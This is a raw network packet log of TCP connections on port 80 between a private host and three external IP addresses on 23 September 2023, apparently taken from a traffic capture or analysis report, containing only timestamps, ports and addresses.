Sep 23, 2023 17:53:23.838196039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838238001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.838279009 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838327885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838363886 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.838392019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838450909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838510990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838548899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.838589907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838682890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838697910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838720083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.838737965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:24.253633022 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:24.256252050 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:24.256299019 CEST	49775	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:24.574807882 CEST	80	49775	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:25.051234961 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:25.078367949 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:25.722867966 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:26.041661024 CEST	80	49810	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:26.041877031 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:26.041968107 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:26.041996002 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:26.363715887 CEST	80	49810	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:26.363751888 CEST	80	49810	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:26.376398087 CEST	80	49810	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:26.416420937 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:26.416472912 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:26.742572069 CEST	80	49810	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:26.742588043 CEST	80	49810	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:26.745879889 CEST	80	49810	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:26.863024950 CEST	49810	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:26.890727997 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.211585045 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.211900949 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.212970018 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.531613111 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.534710884 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.534826040 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.534888029 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.534904003 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.534909010 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.534909010 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.534964085 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.534975052 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.534976006 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.535001040 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.535024881 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.535068035 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.535077095 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.535115957 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.535135984 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.535151958 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.535180092 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.535212994 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.535245895 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.535293102 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.853744030 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.853780985 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.853837967 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.853996038 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.853996038 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.854129076 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.854186058 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.854201078 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.854249954 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.854265928 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.854310036 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.854317904 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.854360104 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.854362011 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.854403973 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.854413986 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.854430914 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:27.854463100 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:27.854507923 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.175039053 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.175076962 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.175111055 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.175190926 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.175220013 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.175220013 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.175220966 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.175313950 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.175860882 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.175898075 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.175916910 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.175942898 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.175997972 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.176034927 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.176045895 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.176070929 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.176088095 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.176105022 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.176126957 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.176139116 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.176147938 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.176187992 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.176208019 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.176256895 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.493870974 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.493935108 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.493946075 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.493987083 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.494018078 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.494052887 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.494066000 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.494088888 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.494096994 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.494189024 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.494235992 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.494430065 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.494474888 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.494508028 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.494553089 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.494820118 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.494858980 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.494872093 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.494929075 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.494956970 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495001078 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495024920 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495068073 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495170116 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495213032 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495230913 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495273113 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495296955 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495332956 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495340109 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495373964 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495398998 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495434999 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495440960 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495474100 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495501041 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495536089 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495542049 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495572090 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495577097 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495610952 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495637894 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495680094 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.495704889 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495740891 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.495779991 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.813777924 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.813878059 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.813915968 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.813921928 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.813954115 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.813955069 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.813992977 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814013004 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814539909 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814603090 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814645052 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814659119 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814682007 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814694881 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814719915 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814730883 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814762115 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814768076 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814800024 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814810991 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814846039 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814848900 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814882040 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814896107 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814920902 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814939022 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814958096 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.814975977 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.814995050 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815010071 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815035105 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815043926 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815083981 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815145016 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815181971 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815197945 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815220118 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815234900 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815258026 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815274954 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815305948 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815330982 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815367937 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815380096 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815404892 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815412045 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815453053 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815505981 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815542936 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815561056 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815592051 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815609932 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815658092 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815679073 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815716982 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815730095 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815753937 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815763950 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815788984 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815802097 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815840006 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815859079 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815908909 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.815962076 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.815999985 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816010952 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816035032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816046953 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816083908 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816133976 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816186905 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816355944 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816406965 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816425085 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816461086 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816472054 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816521883 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816581964 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816643000 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816654921 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816694021 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816704035 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816729069 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816742897 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816778898 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816800117 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816840887 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816848040 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816888094 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.816909075 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.816957951 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.817008972 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.817045927 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:28.817054987 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:28.817091942 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.132746935 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.132847071 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.132865906 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.132920027 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.132992029 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.133032084 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.133039951 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.133073092 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.133088112 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.133177042 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.133220911 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.134078979 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.134115934 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.134125948 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.134160042 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135189056 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135234118 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135267973 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135292053 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135385036 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135447979 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135531902 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135565996 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135579109 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135602951 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135607004 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135637999 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135644913 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135679960 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135768890 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135813951 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135838032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135879040 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.135905027 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.135987997 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136013031 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136056900 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136082888 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136127949 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136163950 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136217117 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136264086 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136307955 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136332035 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136375904 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136442900 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136488914 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136648893 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136697054 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136733055 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136780977 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136812925 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136857986 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.136931896 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.136980057 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.137085915 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.137156010 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.137200117 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.137249947 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.137293100 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.137319088 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.137362003 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.137474060 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.137526989 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.137876987 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.137924910 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.137984037 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138026953 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138130903 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138170958 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138231039 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138267994 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138308048 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138356924 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138384104 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138423920 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138448000 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138485909 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138608932 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138655901 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138741016 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138783932 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138823032 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138839960 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138860941 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138875961 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138900042 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138936996 CEST	49816	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:29.138948917 CEST	80	49816	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:29.138988972 CEST	49816	80	192.168.2.4	77.91.68.78
